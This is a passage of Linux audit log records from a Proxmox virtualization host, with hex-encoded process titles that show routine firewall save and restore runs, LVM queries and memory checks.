name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965124720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965124.720:64260): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965585648,"@rawstring":"node=pve type=PATH msg=audit(1781965585.648:66230): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965121.863:64259): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585647,"@rawstring":"node=pve type=PATH msg=audit(1781965585.647:66229): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965121.863:64258): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585643,"@rawstring":"node=pve type=PATH msg=audit(1781965585.643:66228): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965121.863:64257): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585643,"@rawstring":"node=pve type=PATH msg=audit(1781965585.643:66228): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965121.855:64256): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585643,"@rawstring":"node=pve type=PATH msg=audit(1781965585.643:66228): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965121.855:64255): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585633,"@rawstring":"node=pve type=PATH msg=audit(1781965585.633:66227): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965121855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965121.855:64254): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585633,"@rawstring":"node=pve type=PATH msg=audit(1781965585.633:66227): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965120.186:64253): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965585626,"@rawstring":"node=pve type=PATH msg=audit(1781965585.626:66226): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965120.186:64252): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965585626,"@rawstring":"node=pve type=PATH msg=audit(1781965585.626:66226): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965120184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965120.184:64251): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965585619,"@rawstring":"node=pve type=PATH msg=audit(1781965585.619:66225): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965116.842:64250): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585619,"@rawstring":"node=pve type=PATH msg=audit(1781965585.619:66225): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965116.842:64249): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585608,"@rawstring":"node=pve type=PATH msg=audit(1781965585.608:66224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965116.842:64248): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585608,"@rawstring":"node=pve type=PATH msg=audit(1781965585.608:66224): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965116.832:64247): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585596,"@rawstring":"node=pve type=PATH msg=audit(1781965585.596:66223): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965116.832:64246): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965585596,"@rawstring":"node=pve type=PATH msg=audit(1781965585.596:66223): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965116.832:64245): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965584252,"@rawstring":"node=pve type=PATH msg=audit(1781965584.252:66222): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.445:64244): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965584252,"@rawstring":"node=pve type=PATH msg=audit(1781965584.252:66222): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.441:64243): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965584229,"@rawstring":"node=pve type=PATH msg=audit(1781965584.229:66221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.441:64242): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965584229,"@rawstring":"node=pve type=PATH msg=audit(1781965584.229:66221): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.441:64241): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965583561,"@rawstring":"node=pve type=PATH msg=audit(1781965583.561:66220): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.436:64240): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965583561,"@rawstring":"node=pve type=PATH msg=audit(1781965583.561:66220): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.429:64239): proctitle=\"ip6tables-save\""} {"@timestamp":1781965583561,"@rawstring":"node=pve type=PATH msg=audit(1781965583.561:66219): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.421:64238): proctitle=\"iptables-save\""} {"@timestamp":1781965583561,"@rawstring":"node=pve type=PATH msg=audit(1781965583.561:66218): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.413:64237): proctitle=\"ip6tables-save\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=PATH msg=audit(1781965583.547:66217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.403:64236): proctitle=\"iptables-save\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=PATH msg=audit(1781965583.547:66217): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115401,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.401:64235): proctitle=\"ebtables-restore\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=PATH msg=audit(1781965583.547:66216): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115398,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.398:64234): proctitle=\"ebtables-restore\""} {"@timestamp":1781965583547,"@rawstring":"node=pve type=PATH msg=audit(1781965583.547:66215): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.391:64233): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965578536,"@rawstring":"node=pve type=PATH msg=audit(1781965578.536:66214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.385:64232): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965578536,"@rawstring":"node=pve type=PATH msg=audit(1781965578.536:66214): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115379,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.379:64231): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965578536,"@rawstring":"node=pve type=PATH msg=audit(1781965578.536:66213): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.374:64230): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965578536,"@rawstring":"node=pve type=PATH msg=audit(1781965578.536:66212): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115368,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.368:64229): proctitle=697073657400726573746F7265"} {"@timestamp":1781965578527,"@rawstring":"node=pve type=PATH msg=audit(1781965578.527:66211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.360:64228): proctitle=\"ip6tables-save\""} {"@timestamp":1781965578527,"@rawstring":"node=pve type=PATH msg=audit(1781965578.527:66211): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.353:64227): proctitle=\"iptables-save\""} {"@timestamp":1781965578527,"@rawstring":"node=pve type=PATH msg=audit(1781965578.527:66210): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.346:64226): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965578527,"@rawstring":"node=pve type=PATH msg=audit(1781965578.527:66209): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.337:64225): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965575577,"@rawstring":"node=pve type=PATH msg=audit(1781965575.577:66208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.335:64224): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575577,"@rawstring":"node=pve type=PATH msg=audit(1781965575.577:66208): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.335:64223): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575562,"@rawstring":"node=pve type=PATH msg=audit(1781965575.562:66207): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.331:64222): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965575562,"@rawstring":"node=pve type=PATH msg=audit(1781965575.562:66207): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.325:64221): proctitle=\"ip6tables-save\""} {"@timestamp":1781965575554,"@rawstring":"node=pve type=PATH msg=audit(1781965575.554:66206): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.317:64220): proctitle=\"iptables-save\""} {"@timestamp":1781965575554,"@rawstring":"node=pve type=PATH msg=audit(1781965575.554:66206): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115313,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.313:64219): proctitle=69707365740073617665"} {"@timestamp":1781965575554,"@rawstring":"node=pve type=PATH msg=audit(1781965575.554:66205): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575541,"@rawstring":"node=pve type=PATH msg=audit(1781965575.541:66204): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.305:64218): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965575541,"@rawstring":"node=pve type=PATH msg=audit(1781965575.541:66204): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965115295,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965115.295:64217): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965575541,"@rawstring":"node=pve type=PATH msg=audit(1781965575.541:66204): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965114606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965114.606:64216): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965575527,"@rawstring":"node=pve type=PATH msg=audit(1781965575.527:66203): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965114583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965114.583:64215): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965575527,"@rawstring":"node=pve type=PATH msg=audit(1781965575.527:66203): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965111.823:64214): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575517,"@rawstring":"node=pve type=PATH msg=audit(1781965575.517:66202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965111.823:64213): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575517,"@rawstring":"node=pve type=PATH msg=audit(1781965575.517:66202): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965111.822:64212): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575508,"@rawstring":"node=pve type=PATH msg=audit(1781965575.508:66201): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965111.813:64211): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575508,"@rawstring":"node=pve type=PATH msg=audit(1781965575.508:66201): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965111.813:64210): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575499,"@rawstring":"node=pve type=PATH msg=audit(1781965575.499:66200): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965111.813:64209): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575499,"@rawstring":"node=pve type=PATH msg=audit(1781965575.499:66200): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965106.805:64208): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575492,"@rawstring":"node=pve type=PATH msg=audit(1781965575.492:66198): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965106.805:64207): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575492,"@rawstring":"node=pve type=PATH msg=audit(1781965575.492:66198): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965106.805:64206): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575484,"@rawstring":"node=pve type=PATH msg=audit(1781965575.484:66197): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965106.798:64205): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575484,"@rawstring":"node=pve type=PATH msg=audit(1781965575.484:66197): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965106.798:64204): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575478,"@rawstring":"node=pve type=PATH msg=audit(1781965575.478:66196): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965106.798:64203): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965575478,"@rawstring":"node=pve type=PATH msg=audit(1781965575.478:66196): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965105281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965105.281:64202): 